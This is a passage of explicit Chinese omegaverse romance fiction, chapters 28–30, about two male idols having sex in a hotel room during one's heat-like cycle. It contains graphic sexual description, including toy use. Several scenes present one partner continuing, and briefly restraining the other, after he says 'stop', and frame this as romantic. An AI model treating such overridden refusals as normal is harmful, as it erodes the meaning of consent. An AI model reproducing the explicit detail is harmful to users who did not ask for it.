沉浸式做着手工活时,突然响起的手机来电铃声却打断了他的进程。 “……嗯?” 紧闭着的眼皮突然一颤,方柏嘉皱了皱眉头,不耐烦地想要继续。 然而噪音还是响个不停,让人想要无视也做不到。 他只得暂停手上的动作,睁开沉甸甸的眼皮,翻了个身,用没碰过的那只手拿起电子设备。 看到来电人居然是汤昼恒,方柏嘉诧异了下,想到自己上一秒还在想着对方自我抒发,有种做亏心事被人抓包的尴尬。 他猛地咳嗽一声,拇指在屏幕上一划,将手机递到耳边。 电话接通的比汤昼恒想象要快。 屏幕上显示出“通话中”的字样,方柏嘉却有一会儿没吭声,背景音中只能听见他时轻时沉,不怎么规律的呼吸声。 好几秒后,犹豫的声线才低低地响起:“喂……?什么事?” 他语带压抑,像是在刻意控制着呼吸。 虽然在接电话前努力地清了嗓子,却比之前在语音里更沙哑了,嗓音中多了分方柏嘉自己都没察觉到的晴/欲。 他听上去很疑惑,被汤昼恒的这通电话打了个措手不及,语调急促中甚至带了点慌张,仿佛很想让眼下的通话赶快结束。 汤昼恒沉默了一下,忽然没有任何前兆与铺垫地问:“还是之前那家酒店吗?” 他的声音很有磁性。 经过网络信号的传播与过滤,略有些失真的嗓音带上了有颗粒感的噪点,刮搔在耳膜上,反而有种说不出的痒意,好像大脑内部的某个区域也被人用刷子稍带力道地扫过。 颅骨接近后脑勺的地方传来酥麻,方柏嘉呆了几秒才意识到汤昼恒刚刚提出了一个问题,注意力却完全没放在上面。 对方话音落下的当口,一股微小的电流骤然穿过方柏嘉的脊椎,通过与之相连的神经网络流向四肢百骸。某个地方不由自主地随着汤昼恒起伏的语气而越发支棱起来,甚至还跳了一下。 鬼使神差地,他忍不住重新握住自己,将耳朵贴得离手机更近,迷迷糊糊地反问:“你问这个干什么?” 他边和汤昼恒说话,手上边再度动了起来,仿佛做坏事的小偷一样屏住呼吸,迫不及待想听到来自对方的回答。 汤昼恒不知道是不是感受到了什么异样,过了片刻才轻声说:“你给Danny哥的消息发到我这边来了。” 牛头不对马嘴的回答。 又是一阵电流。 方柏嘉不受控制地闷哼一声,手指加大握力。 意识到自己似乎暴露出不得了的事情,他咬住下唇,却又忍不住从鼻间呼出沉闷的热气。 对面许久没有说话,方柏嘉懒得去想是为什么,变本加厉地满足自己,声音也不像刚才那样收敛。 电话那边,汤昼恒的呼吸微妙地加快。 方柏嘉突如其来的沉寂,还有他毫无遮拦、断断续续的喘/息,似乎都指向一件事。 实在无法忽视这些动静,对方没有继续装傻下去,问方柏嘉:“你在做什么?” 方柏嘉似乎打定主意不回复他,一开始没有说话。 直到汤昼恒突然叫了声他的名字。 方柏嘉通红的耳廓禁不住抖了抖,这才道:“……干嘛啊?” 生理期降低了方柏嘉的羞耻心,让他有种破罐破摔的态度。 方柏嘉觉得汤昼恒很怪,都是成年人了,他在做什么难道对方不清楚吗?问得那么仔细,好像他讲了汤昼恒就能帮他解决一样。 还不是方柏嘉自己在这儿吭哧吭哧单干,只能隔着手机对着幻想对象望梅止渴。 汤昼恒看他笑话的吧? 汤昼恒耐心十足地重复了一遍刚才的问题:“你在干什么?” 足足五六秒的静默之后。 像也有点怕他似的,方柏嘉小狗哼哼一样,不情不愿地吐出几个模糊不清的字眼。 不知道是不是距离手机有点远,经由压缩过的信号传递过来,就全变成了意味不明的音节。 “……” 汤昼恒:“你说什么?” “我说打*机——”方柏嘉的声音陡然提高,恼羞成怒地抱怨,“你又不在,你管我在干什么?” 这年头难道想着别人自我安慰也犯法吗? 又是一阵安静。 汤昼恒的呼吸不知怎么平复下来,一字一句,轻轻慢慢地说:“我在,就能管你干什么了吗?” …… 方柏嘉没说话。 汤昼恒将手机从耳边拿下来,看了眼屏幕。 通话还开着。 他试探着又叫一声:“方柏嘉?” 过了好几秒,手机对面的人才跟个信号不灵、接收和回应都慢半拍的机器人一样,低低应了声鼻音浓郁的:“嗯。” 汤昼恒把一开始的问题搬了出来:“你是不是还在节目组给你订的酒店里,还是那个房间?” 方柏嘉不明白他为什么这么问,又嗯一声,表示肯定。 汤昼恒说好。 随后很快挂了电话,留方柏嘉一个人在床上愣神。 心跳不知怎么猛地变快,隐约有点猜测,又觉得不太可能。汤昼恒在电话里没有明说,他也不想预设对方会怎么样。 说不定那人只是为了确认一下他的位置,然后找个跑腿给他送东西…… 于是下意识否认了。脑海中还没细想,这个念头就很快滑走。 中途让汤昼恒打扰了一通,麻烦不仅没被解决,反而因为对方的出现变得更加旺盛。 方柏嘉在心中大骂了一声汤昼恒惹事精,将手机扔到一边,继续手上的活动。 发/泄完洗手回到床上,来回调整了几次姿势,还是怎么都睡不着。 刚才的行为只是治标不治本,反而让身体愈发的火烧火燎,浑身细胞都叫嚣着空虚。 就在他一下午总共洗了四次冷水澡,做了两次DIY小饰品后。 方柏嘉终于忍无可忍地抓过手机,打开酒店的在线购物小程序,翻到自己此前已经浏览过好几次的某一栏。 这回他没有犹豫太长时间,只是对着物品的描述详情仔细确认了一下,便点击了下单。 * 屋外机器人发出的提示音猛然将方柏嘉惊起,他才发现自己在等待过程中睡着了。 飘过去开门时,方柏嘉还没预料到自己将撞见什么。 直到门开了,他抬起眼。 看清面前景象的瞬间,alpha懒洋洋半垂着的眼皮条件反射般地睁大,脸上浮现一片空白。 本应只有一个运送物品的圆筒机器的门口还站着别人。 汤昼恒不知道已经到了多久,正和腿边的小机器人面面相觑。 听到动静,他回过头,和方柏嘉打了个照面。 “机器人一直在叫,我还以为我找错地方了。” 一股极鲜浓甜美的奶游香气朝他扑鼻而来,汤昼恒不着痕迹地眨了眨眼。 “我不小心睡着了……”方柏嘉眼睛一眨不眨地盯着他呆了两秒才有反应,像猛然从混沌中攥住一丝清明,他伸手紧了紧身前的浴袍衣领,“你怎么来了?” 方柏嘉人还是懵的,心想这会不会是身体怕他憋疯了临时制造出来的幻觉? 汤昼恒居然真的过来了。 原本不经意越过他向屋内看去的目光又落回方柏嘉身上,汤昼恒低了低头,简单地解释:“隔壁到这里的高铁只要半小时。” 他在临市,从接到方柏嘉消息,买好最近一班合适的票,再到乘车、从车站出来打的到方柏嘉所在的酒店,总共也就花费了两个多小时。 “……” 他问的并不是这个意思。 方柏嘉想知道的是对方为什么过来,而不是听他说过来得如何方便。 就因为一通电话,汤昼恒得知他在伪感期,就又特地坐车赶过来了……这不是他们之间的关系应该做的事吧? 方柏嘉愣神间,整体涂料为灰白色的机器人识别到目标面孔,“嗡嗡”两声,好死不死地就在这时打开了递送物品的窗口。 方柏嘉不久前下单订购的物品就静静躺在那里。 汤昼恒低头看了眼小机器人,又看看方柏嘉,见他还没反应过来似的没动,干脆在方柏嘉面前弯下身,将里面盛放的东西替他拿了出来,捏在掌心,不经意地低头稍加打量。 然后他也愣住了。 盒形的外包装上清晰映出了产品的名字、功能与形状。 *趣用品。 长的,硅胶材质,头部上弯。 纳入式。 旁边还配有一瓶润滑用的液体。 走廊上的空气像一下被人抽空,时间仿佛也因此而暂停。 “等一下,这个是……” 伪感期的方柏嘉实在反应迟钝,等他拿起东西,才慢半拍地察觉到什么,眼睛一下睁大,向来看上去冷若冰霜、不好接近的脸上出现两条无措的裂痕。 说到“这个是”后面,迟迟没有下文,想不出还有什么理由可以找。 太明显,也太直白了。 方柏嘉的一切欲/望都浮现其上,变成了实质性的代表符号。 他接下来要做什么,似乎也变得昭然若揭。 方柏嘉头脑中顿时“嗡”的一下,苦于大脑宣布罢工,纵使警报已经拉响,却没有任何解决的头绪。 耳边一时只能听到二人此起彼伏的呼吸声。 方柏嘉呆住的当口,汤昼恒视线下移,飞速地打量着他。 方柏嘉在床上自己折腾了快一个下午,身上的浴袍散得凌乱,腰间的带子勉强地系着,领口敞开得危险,暴露出大片泛红的肌肤,状态怎么看怎么色/情。 不管是对方身上已经漫溢到走廊上来的气味,还是方柏嘉此刻的样子,似乎都不适合在眼下这个地方久待。 汤昼恒突然开口:“要我帮你拿进去吗?” “……啊?” 方柏嘉像是震惊至极,一张脸逐渐熟透成苹果的颜色。 第29章 第 29 章 露出肚皮的小狗。…… 方柏嘉意识到, 对方并不是在征求自己的意见。 他犹豫一瞬的功夫,汤昼恒已然迈步上前,走进面前的门框。眨眼间登堂入室, 反手关上了房门。 方柏嘉下意识被他挤得后退,一双眼还在怔怔地看着他, 并没有表现出抗拒的意图。 汤昼恒似乎也察觉到这点,弯起唇角, 笑了一下。 刚想开口说些什么, 却见方柏嘉脸上闪过一丝尴尬与惊恐, 像是想起来什么一般, 转身就往卧室的方向走。 没两步又折返回来, 将汤昼恒手上那个玩意儿夺过—— 差点忘了把它拿上。 “你先别过来, 我还有东西没收拾完。” 说完,就把汤昼恒原地,身影急匆匆地消失。 方柏嘉是要去销毁罪证的。 汤昼恒的同款香水还大喇喇摆在原处, 房间里到处都是樱桃的味道。 他回到床边, 随手将玩具扔在床头柜上, 一把抓起枕头上晾着的毛巾和香水瓶,纠结了一下该藏在哪里不容易被看见。 但是这有用吗? 有一瞬间,方柏嘉又在想, 房间里的气味是实打实的, 汤昼恒还是能闻到,他又该怎么和对方解释? 不行,要不然还是跟汤昼恒说一声,让他就待在外面吧。 方柏嘉蹲下身子,把东西塞进行李箱,想到这里, 连箱子都没关牢就匆匆站起,生怕对方趁他不注意溜进来。 没想到这一下起得太猛,脑供血不足,方柏嘉眼前一黑,跌坐在地上。 ……靠,屁股好痛。 他摔蒙圈了,愣在原地好几秒没动作。 汤昼恒听到里面发出的动静,问他:“你怎么了?” “没事,我就是……” 方柏嘉人还没来得及爬起,那人就自己推门走了进来。 闻到房里过于浓郁的樱桃香,不出所料地呈现出和之前的方柏嘉一样的大脑宕机状态。 像是不可置信一般,汤昼恒下意识做了个吸气的动作。 仿佛在被汤昼恒现场处刑,方柏嘉脑袋顶上几乎都在冒烟。 然而对方并没有就此表态。 两秒钟后,青年回过神来,到方柏嘉的身边向他俯身。 只是看着明显心不在焉,将人搀起的同时,眼睛还在打量房内的陈设,像在寻找气味的源头。 见状,方柏嘉的心里又是咯噔一下。 这时再让对方出去似乎也过分了点,他抿紧嘴巴,仿佛被浆糊裹住的脑海里努力思索着该做些什么转移注意力。 至少,别让汤昼恒当面点出这个羞人的事实。 事已至此,要不然就脸皮厚点,装不知道吧。 他心一横,突然就豁出去了,借着这个被汤昼恒托扶的姿势转过身去,紧靠着的胸膛对着胸膛,环住汤昼恒近在咫尺的脖颈。 相差四厘米的身高,让方柏嘉站起来时嘴唇刚好在汤昼恒下巴的位置。 他目光定定地盯着对方的下半张脸,突然叫了声:“汤昼恒。” “嗯?”汤昼恒回过眼。 下一秒,唇上传来炽热的肌肤触感。 方柏嘉捧着汤昼恒的下颌将他扳下来,冲着对方气血充足的粉肉色下唇吻上去。 汤昼恒没防备,被他突然冲上来的一下扑得腰身后仰,向后踉跄两下,坐在床上。 方柏嘉随着他一起跌落,双手撑在他的身侧,像趴在年轻男人身上撒/欢求抚摸的小狗,从胸膛到膝盖都严丝合缝地挨着。 被方柏嘉临时突袭,他单侧眉毛轻扬,启唇想要说些什么,方柏嘉不给他机会,再度凑上来亲他。 灵巧的舌头钥匙一样从斜侧方往他唇缝里一嵌,将汤昼恒柔软的嘴唇拨开。 汤昼恒比第一次亲他的时候大方得多,也可能纯粹只是还没反应过来,齿关只轻轻一顶就分到了两边。 方柏嘉垂着眼睛,舌头伸进对方的口腔,动作不很熟练地勾着这人和他湿吻,一张脸都是被蒸过的水蜜桃般的颜色。 伪感期的状态让他心猿意马,大脑识别到心仪的alpha的靠近,身上热得更加厉害。本只是想找个什么事把眼下的窘迫给盖过,亲着亲着却又真上了瘾。 方柏嘉的理智趋近于无,一边亲,一边抓住他的手往自己的身上放,嘴里含糊地说:“摸我。” 脸上热辣的烫意透过空气直接渡到汤昼恒这边,令汤昼恒都能感受到他高于常人的体温。 心中冒出来的第一句话是:摸哪? 汤昼恒没有太多头绪,少许的经验还都是上次方柏嘉易感期时得来的。 心里这样想,手却很诚实,仿佛冥冥中有一股力量在指引他,指腹不自觉就沿着曲线移动。 像人天生懂得如何感受美好之物,他似乎也无师自通地知道该往哪去。 分明有力的手掌来到对方的腰窝以下,汤昼恒停顿半秒,隔着一层浴袍的料子缓力地塑形。 没几分钟,又带着他翻转过来,让他仰躺在床面。 方柏嘉下午一个人做了太多手工,现下正疲乏着,不那么容易出来,但还是觉得舒服,膝盖慢慢打开,蚌一样夹住汤昼恒。 身上的浴袍散得差不多了,他自己不好意思看,双手攀着汤昼恒挺阔温热的后背,从后边探到前边,胡乱描摹着布料的褶皱。 汤昼恒的呼吸一下变乱。 方柏嘉伪感期的身体像从冬眠中苏醒过来的、体温诡异地很热的蛇一样贴着他,不断散发着很香甜的晴/热气味,说没感觉肯定是假的。 因此汤昼恒也短暂默许了他的举动,犹如在忍耐什么一般,鼻息沉重错杂。 小型金属的磕碰摩擦声响起。 方柏嘉的手指主动找到了那枚银色的拉链头,缓缓下拉。 扯到一半,露出里面的深色。 方柏嘉还要向下,汤昼恒被他吓到,想也不想地按住他,将方柏嘉抓起来,远离危险地带。 方柏嘉抬起头,迷蒙的神色中带着谴责和不解:“干嘛?” 进入深度伪感阶段的方柏嘉坦诚得可怕,能说出平时绝对不会说出口的内容:“你该不会觉得,我把你留下来,只是想让你给我lu吧?” 他表情茫然,语气却比刚才汤昼恒亲眼见的那个玩具还更直接。 面对alpha的质问,汤昼恒竟哑然。 原本打在腹中的草稿不知落到了哪儿去,上方的青年停了停,轻轻地叹一口气,被方柏嘉搞得没办法:“……我活动了一天,澡还没洗。先去浴室冲一下,可以吗?” 不知道这算不算逃避的借口,但反正浴室也在房间里,方柏嘉盯着他看了会儿,抬手放汤昼恒离开。 * 等汤昼恒洗完澡出来,方柏嘉几乎是不由分说地把他往床上带。 对方也很配合地压下来,一条腿半跪在床边,顺着方柏嘉的指引继续亲他的唇瓣,掌心撩开虚盖在他腿上的浴袍。 方柏嘉低哼几声,刚才在等待对方时好不容易按下去的那点燥意全在此刻触底反弹,变得比汤昼恒进屋前还有过之而无不及,情难自已地攀住汤昼恒,一边几乎是迷乱地蹭他,一边去咬他的耳垂。 咬到一半又不动了,感受到对方那修剪得很干净整洁的指甲边缘的形状,方柏嘉一下屏住气息,下巴搭在汤昼恒的肩膀上吸气。 没两分钟,整个人软绵绵从枕头上滑下去。 呼吸随着搅动的频率起伏,时缓时急。 汤昼恒原本是往手上淋了点液体,然而很快,充足的水源就反过来将他的手指全部裹湿,顺着他的掌心往下流,倒显得事前准备很多余。 方柏嘉不好意思多看,手臂挡着自己两边的眼睛。 几分钟后,汤昼恒就着一手的水按住方柏嘉的腿,把他推开。 拆包装盒的声音响起。 方柏嘉略觉不对,手拿下来,看见汤昼恒在摆弄他临时订购来的那个东西。 这类酒店在售的物品都提前消过毒,拆开就能用。 汤昼恒一手举着它,一手拿起说明书认真地端详。 “你拿它做什么?” 方柏嘉预感不妙,忍着酸软想坐起来,本已消散大半的理智也重新聚拢了一部分。 汤昼恒放下说明书欺身上前,身体力行地又将方柏嘉压回云朵般厚重的枕头里亲他。 方柏嘉的双腿因此被他挤开,下意识又抬手环住汤昼恒的身躯,任他不断拨动自己湿软的舌尖。 亲了大约有两分钟,方柏嘉眼神也迷离了,汤昼恒才松开他,将东西贴上来:“先帮你用这个。” 方柏嘉扒着对方肩膀的手掌即刻颤巍巍地收紧,人还没弄明白,便晕乎乎地容纳了汤昼恒的所有动作。 才十几秒,脑袋里就嗡的一声,起了异样。 他想往后退,才挪动了几公分就被汤昼恒发现,握着他薄薄的腰将他拽回来,督促般地说:“不要动。” 怎么可能不动。 方柏嘉刚开始很不配合,身体忍不住地轻扭。汤昼恒便轻声哄他,试图和方柏嘉讲道理:“不是你自己买的?为什么不让用。如果我不来,你打算做什么?跟我说说看。” 他闲聊一般地找话题。 方柏嘉才不要告诉他。 呜咽一声,从一旁扯来被子捂住脸。 少顷适应不过来,又按着汤昼恒的胸膛喘气,试图将对方拿着东西的手推开。 “等一下、停——” 方柏嘉嘴里断续冒出好几个没有关联的短词,就像他的脑子也没想好要说些什么,只是单纯想发出声音来让汤昼恒停下。 可没什么用。 没两三分钟,方柏嘉的瞳孔便瞬间放大。 如同短时间内迅速上升又下降的心率,方柏嘉的身体重新放松下来,露出肚皮的小狗一样软绵绵倒在床上。 方柏嘉被这从来没有过的体验吓到,眼神直愣地盯着天花板,胸膛还在用力地起伏。 汤昼恒低头柔柔地吻了一下他的嘴角,又露出那种经常观察方柏嘉似的神情来:“感觉怎么样,舒服吗?” 舒服,但方柏嘉说不出口。 不管怎样,这种在对方面前被注视着的感觉都很奇怪。而且,也太快了…… 他短促地低哼一声,整个人贴上去,把头埋到汤昼恒颈窝处作为回应。 汤昼恒仿佛察觉他初经这种事情的不安,侧躺着将方柏嘉抱在怀里。 方柏嘉人还在抖,像要为自己找一个支点,又或者单纯只是不愿汤昼恒旁观,摸索着找到对方,迷迷瞪瞪地也把手搭上去。 从浴室出来后,汤昼恒就和他差不多,基本上是空的。这回汤昼恒没有躲,只是在被他触及到时呼吸骤重,从鼻腔间发出近乎叹息的声调。 很烫。 因为刚洗过澡,他的肌肤甚至还带有一丝湿意。 合起来拇指刚好盖住中指指甲盖。 方柏嘉吓一跳,本来意识模糊的头脑一下清醒小半,水却变得更多。 这个姿势和位置,发力有点困难,和给自己弄时不太一样。他的动作没一会儿就中断,因为隐藏在他肌肤之下的急湍又来了。 那颗跳到嗓子眼里的心还没落回原处,马上就被另一波从海面上袭来的海浪所覆盖。 方柏嘉短短十分钟内在对方面前接连没了两次,从没觉得自己这么丢脸过,快要崩溃。 而汤昼恒甚至都还没怎么插手。 方柏嘉自认不算胆小,此刻也害怕了,把自己的后方贴上去蹭汤昼恒凸起的髂嵴,打商量似的说:“想要你来……” 汤昼恒的回应却只是加大了他的档位:“再等等,还没到。” 阈值一再升高,很快就突破了原本的上限。 随着最后一丝理智的溃散,方柏嘉忍不住又开始断断续续地在那人耳边说胡话。 比如。 想让你的那个进来。 比如*我。 你为什么不想*我? 汤昼恒越是拖延,方柏嘉心中就越不快和委屈,烦闷和恼怒,这些情绪到最后汇集凝聚成深深的猜忌和自我怀疑: 方柏嘉实在不明白,为什么明明汤昼恒就在身边,他却只能通过这种方式纾解,而不是让对方来帮他。 如果他也想要他,为什么再三忽视他的需求,迟迟不肯将他满足——那这人过来到底有什么意义? 还是他根本就是还记恨着方柏嘉让他下不来台的事,从头到尾都是演着玩的,就是为了亲眼看到自己出丑? 这样的情绪在方柏嘉又一次主动去蹭汤昼恒却被避开时升上顶点,他一脸莫名,不悦又带急躁,全凭借生理期仅存的本能开口。 “你躲什么?难道你不想和我/做?” 他正在最想要的时候,全身的欲/求都被对方挑起来,也为自己也能挑动对方的神经而感到满足。 可眼下汤昼恒这个反应,无疑又给方柏嘉当头浇了一捧凉水,一下就让他想起这人易感期那次半温不冷的举动。 脑海中的警报被拉响,他下意识勾住对方的脖颈不让人逃开,气不打一处来。 上回那事他还没找汤昼恒算账呢,他都要被这人搞出PTSD了,怎么这回还来? 难道睡/他是一件那么没有吸引力的事吗? 众所周知,只有人对一样东西兴趣不大的时候,才需要反复考虑、纠结利弊。 方柏嘉哪肯接受汤昼恒对自己“兴趣不大”,胜负欲和自尊心上来了,气哄哄地追问:“说话。你明知道我在伪感期,还专门坐车跑另一个城市来看我,难道不是因为想睡/我?” “别告诉我你只是善心大发,以前不知道我能睡的时候怎么没见你这么关心过我?” 对方要是不肯,干脆就别来,既然来了,就要做好被他揩油的准备。 别说汤昼恒坐了两个小时车过来就是为了看一眼他怎么样了,方柏嘉才不信。 一番话听得汤昼恒沉默下来。 对方说的有一点没错。 汤昼恒既然来了,肯定对后面的发展有所预料。两个互相有吸引力的孤A寡A共处一室,其中一个刚好还在生理期,接下来无论发生什么,都是水到渠成的事。 汤昼恒的赶来本就是一种默认,所以在方柏嘉打开门看到他的那刻,他们之间的氛围才会那么古怪。 只是汤昼恒没有料到,原来他在对方心里是这么个形象。 生理期激素波动的影响下,所有的感受都在这会儿以平时几倍的浓度放大。 方柏嘉越想越是憋闷,看到汤昼恒这样沉默,心中更加委屈得厉害,突然像上次那样发起脾气,哑着嗓子道:“我不做了,你把东西拿出去。” 汤昼恒不就是仗着他喜欢他吗? 这个人想必很得意,一来就看见方柏嘉在网上买的东西,进了卧室,又闻到他的樱桃味香水。 这实在已经够明显了,汤昼恒就算用头发丝想,也该猜到方柏嘉打算用这对组合来做什么事情。 ——正主不在身边,所以可怜到只能借着类似气味的物品睹物思人,还打算一边闻着气味一边那个。 对方肯定就是知道了这一点,所以才执意要用方柏嘉下单的东西玩他,故意让他害臊。 方柏嘉胡思乱想到此处,越发气急败坏,带着一脸不够健康的酡红说完那话,就要把身边的人给推开。 或许是在伪感期,方柏嘉又正在中途,浑身上下都软绵绵的;也可能是他这番话本就是泄愤意味更重,手上并没有真的使出全部力气。 汤昼恒没花太多时间就将他制止住,这才回过神来:“不是。你听我说——” 他摸下去掰开外缘,将夹在里面的东西拿出来,关掉。 “没有不想和你做。” 汤昼恒沉默了稍息,像很诚心地向他解释:“我的太……大了,”说出这个字让他有些不自然,“直接来你会受不了。” “你想现在就要吗?” 第30章 第 30 章 老公…… 汤昼恒在向方柏嘉确认。 “……” 方柏嘉一下就被他弄熄了火。不确定自己是不是误解了对方, 抑或这只是汤昼恒随口编造出来哄他的谎话。 事到如今,他也根本分不出这人的话究竟是真心还是借口。 方柏嘉心情正差,又急躁地yu火中烧着, 懒得再去揣摩这些细节,听对方这样说, 立刻决心还是先满足自己身体此刻的诉求要紧。 破罐破摔,不耐烦道:“让你进就进, 这么多废话干什么?” 半分钟后, 方柏嘉差点没骂脏话。 心里只飘过一行字:原来人真的不是没可能在床上被*死。 他震惊得大脑一片空白, 发出艰难的倒吸冷气声。 “疼?”汤昼恒见状问他, “是不是还是不行?” “……” 他再说不行, 岂不是违背了方柏嘉刚才的豪言壮语, 打自己的脸。 方柏嘉硬着头皮死要面子,咬着后槽牙道:“没事,你继续。” 说话声像蚊子哼哼, 刚才还很红润的脸也白了不少。 汤昼恒不知是不是看出他的口是心非, 没有拆穿, 俯下身把方柏嘉抱在怀里:“受不了就跟我讲。” …… 这个夜晚过去得十分缓慢。 他们都变成了地图,被彼此一个地点、一个地点地安上踏足过的旗帜。 方柏嘉手搭在汤昼恒的肩上,触到他后背因为热意微微濡湿的汗。Alpha隆/起的肌群像辽阔壮丽的山脉, 底下奔涌着沉静而又澎湃的岩浆。 方柏嘉感觉自己整个人都在蒸发。 不知过了多久。 晕眩的感觉传到大脑, 意识迷蒙间,方柏嘉迷迷糊糊地叫:“老公……” 几乎是条件反射、完全没有自主意识的一声。 那一刹那,房里的一切仿佛都在离他远去,心跳如雷,耳边全是鼓噪的杂音。 年轻男性特有的清脆磁性的声线,也因为当下特殊的情境而带上沙沙的伴奏。 周围忽然落针可闻般安静, 静到方柏嘉甚至能听见自己那声“老公”的尾音像枚羽毛般在面前的空气里飘落。 房间里的两个人都一同被施展了定身术般地顿住。 他听到了,他也知道他听到了。 目光相接,汤昼恒似乎从方柏嘉的眼神里看出来事情败露后的惊慌。 方柏嘉瞬间抿住双唇,像很后悔喊出了这两个字般闭紧了嘴巴。 因为心虚,只和身上的人对视了半秒就飞快移开事先,勾着汤昼恒把他带下来,像存心要把着这块盖过去似的,嘴唇软软地凑到他的耳边,小声地说:“还要。” 仿佛这样就可以当做刚才那件事没发生过。 殊不知在汤昼恒看来,越发成了他藏有秘密的证明。 心中念头一晃,alpha的眼神闪动片刻,终于还是没说什么。 汤昼恒脑海里的念头乱糟糟地缠成一团,很想再多思考片刻,只是他和方柏嘉实在过于契合,汤昼恒的思维还停在原地,心神已然被对方温热的躯体带走。 然而在这之后,不知为何,酒店房间中的氛围再度变得有些沉默和诡异。 经过叫老公的突发意外,两人一个懊恼,一个心不在焉,都想装不在意,尽管依旧打得火热,周边的空气却明显变得比之前稀薄又冷淡。 才到中途,方柏嘉就忍不住地哭了。 首先觉得很丢脸,一下在汤昼恒面前把所有秘密都暴露出来,以后没脸见对方了。 其次感到很失败,他在汤昼恒那里的魅力居然如此稀薄,他伪感期不舒服,还得一而再再而三地求对方,汤昼恒才肯*他。 最后还有一大部分是被*爽的。 这部分不提也罢。 总结下来就是,躯体上是舒服了,但心情很不美妙。 被弄急了,方柏嘉的嗓子眼里憋出一记带哭腔的呜咽,泪也像珠子一样往下落。 察觉到眶周有湿漉漉的液体涌出的那一刻,方柏嘉整个人都呆住,眼睛不可置信地瞪大。 汤昼恒:“……” 身上青年的动作也跟着顿住一瞬。 “看什么看,还不都是你弄的!”察觉到对方的眼神,方柏嘉尴尬又羞愤地侧过头,努力想把脸埋进一旁的被子里。 越是想要控制自己的泪腺,就越忍不住,才刚有一滴掉出,新的一滴又在眼尾生成,沿着前面的水线滑落。 汤昼恒没有说话,看出方柏嘉不想提起这茬,沉默过后,忽地整个人都覆上来,以一个更紧密的姿势把方柏嘉面对面抱在怀里。 汤昼恒的脸就埋在他的颈窝处,这个姿势,刚好能让他们看不到彼此。 方柏嘉神智朦胧地思索着这算不算对方好意帮他缓解尴尬,没过多久,就被汤昼恒侧过头撬开他的嘴唇和他缠吻。 亲得他喘不过气,憋了半天脸都红了,讨饶似的将头歪到一边,用一脸迷蒙的表情张大嘴呼吸。 结果还是逃不过,被汤昼恒不吱声地追上,舌头钻进来掠夺个遍。 好凶。 不知为什么,这回的汤昼恒动作额外的用力,像要把方柏嘉整个都吃进肚子里去似的亲着他的软唇,吸/吮得他的嘴巴发出那种很水很润的啧啧声。 他太过专注于和他亲吻,导致忘记了自己原本在做的事。 方柏嘉忍了一会儿,依旧无法忽视,忍不住回搂汤昼恒的身体。 察觉到汤昼恒停下动作在看自己,他眼下那块的肌肤愈发红润,抬手去捂对方的眼睛,因为不久前还发过脾气,故作凶狠地警告他:“不许看!” 顿了顿又说:“你快点儿……” …… * 方柏嘉虽然是alpha,理论上说要比omega更耐*,但毕竟是第一次,两人持续了两个多小时,保护伞用掉了第三个后,汤昼恒没有再做,穿上衣服,下床到桌子边给方柏嘉找水喝。 方柏嘉感觉自己简直像是喷泉,结束后又累又渴,人都脱了水,抱着汤昼恒给他拿来的矿泉水咕咚咕咚地灌。 简单清理了下身上,床单湿得太透,已经没法睡了。 汤昼恒要打电话叫人来换布草,方柏嘉不让。太害臊了,这个画面,岂不是谁来都知道他们做了什么。 自己再怎么样也是明星。 “你要是不好意思,可以在浴室里等一会儿。”汤昼恒说。 方柏嘉还是不乐意。 保洁在外面换着床单,他在里面躲着,那他成什么了,搞得跟自己见不得人一样。 总之就是怎么想怎么诡异。 汤昼恒说一个选项他否一个,最后只好道:“我在这层还定了一个房间。” 酒店空房很多,汤昼恒来时在前台重新订房,特意要了同一个楼层的房号,两房之间的数字也没隔几个,找过去很方便。 方柏嘉这才同意,拿着汤昼恒给他的房卡,到了新房间干净的大床上躺下休息。 走得匆忙又晕头转向,甚至忘了自己还有个敞开的行李箱扔在房间里。 汤昼恒担心会有酒店工作人员乱碰,返回去检查确认,才发现他的箱子没锁。 里面鼓起的衣物和杂七杂八的日用品堆成小山,将箱子盖撑得爆开,那只被扔进去的暗玫红色包装盒也不知什么时候沿着“山体”滑落下来,掉到旁人一眼就能看到的拐角边缘。 汤昼恒刚想顺手把行李箱给他盖上,视线瞥到这抹异色,忽然就想起自己当时因为听到了方柏嘉疑似摔倒的声音,刚进卧室时的瞬间—— 有那么几秒,汤昼恒以为他的嗅觉出现了问题。 他闻见了自己的味道。 但紧接着又发觉并不是。 虽然乍一闻起来和他很像,仔细感受过后,还是有所不同。 汤昼恒当时就觉得奇怪,不明白这信息素从何而来。碍于方柏嘉就在身边,他不便细究,后来发生的事也让他无从分心。 直到这会儿。 汤昼恒淡淡地挑起一侧眉稍,按在行李箱上的手指顿了顿,和心中的道德感搏斗了片刻,还是伸进去,把那玩意儿拿了出来。 ——找到了,气味的来源。 汤昼恒把香水瓶拿起来转圈观察。 他记得,这是大概两年前的时候,公司专门出的一期unforbidem六名成员的同款模拟信息素香水。 瓶身的包装和颜色都太好认,汤昼恒看到的第一眼就瞧出来。 只是他没想到方柏嘉会有。 汤昼恒霎时间感到困惑,好像这是个不该出现在这里的违禁品。 心跳声有一瞬的上扬,接着又平静下来,认为这说明不了什么。 方柏嘉喜欢他的味道,这是事实。而对方目前的状况也正需要他的信息素,在汤昼恒不在身边的时候购买并使用他的同款香水,逻辑上很说得通。 汤昼恒将香水放回行李箱中,拉上拉链。 回到另一个房间,方柏嘉早已躺下,在隆起的被窝中闭起眼睛,背对着他,一副不想理人的样子。 这让汤昼恒想起晴/事结束后的场景。 方柏嘉蜷缩在被挤到一边的皱巴巴的被子里,露在外面的皮肤像煮熟的虾一样红润,通身奶油的清甜外又笼了一层水果的淡香,仿佛奶油蛋糕上点缀铺满的新鲜樱桃,汤昼恒把他变成了属于自己的风味。 年轻的alpha轻手轻脚地掀开被子钻进来,背靠在床头,侧眼凝视着床上另一个人的背影,脑海里闪过一句话。 ——方柏嘉今天在床上哭了。 而在那之前不久,他还又一次叫出了“老公”这两个字。 两条线索连在一起,导向似乎不太妙。 从易感期那次到现在,方柏嘉总共叫了他两次老公,两次都是在不清醒的时候。 第一次他说他认错人了,第二次虽然事情前后都没有交流,但也能看出来对方那一声完全是无心之失,其实并不想提。 也就是说,方柏嘉心里真的有那么一个人,是他口中所述的“老公”。 毕竟如果对方叫的是他,那方柏嘉完全没理由在喊出那两个字时露出一副见了鬼的样子。 这个情况只能归结于他或许是心虚了,本来只是迫于无奈,为了自己的健康情况稳定,才决定和汤昼恒逢场作戏。 结果半途反而自己暴露出来,担心汤昼恒因此生气不满,不愿意再帮他脱敏。 至于哭了…… 可能纯粹是个人心理上的原因,比如觉得委屈,因为真正想要的人不在身边什么的。 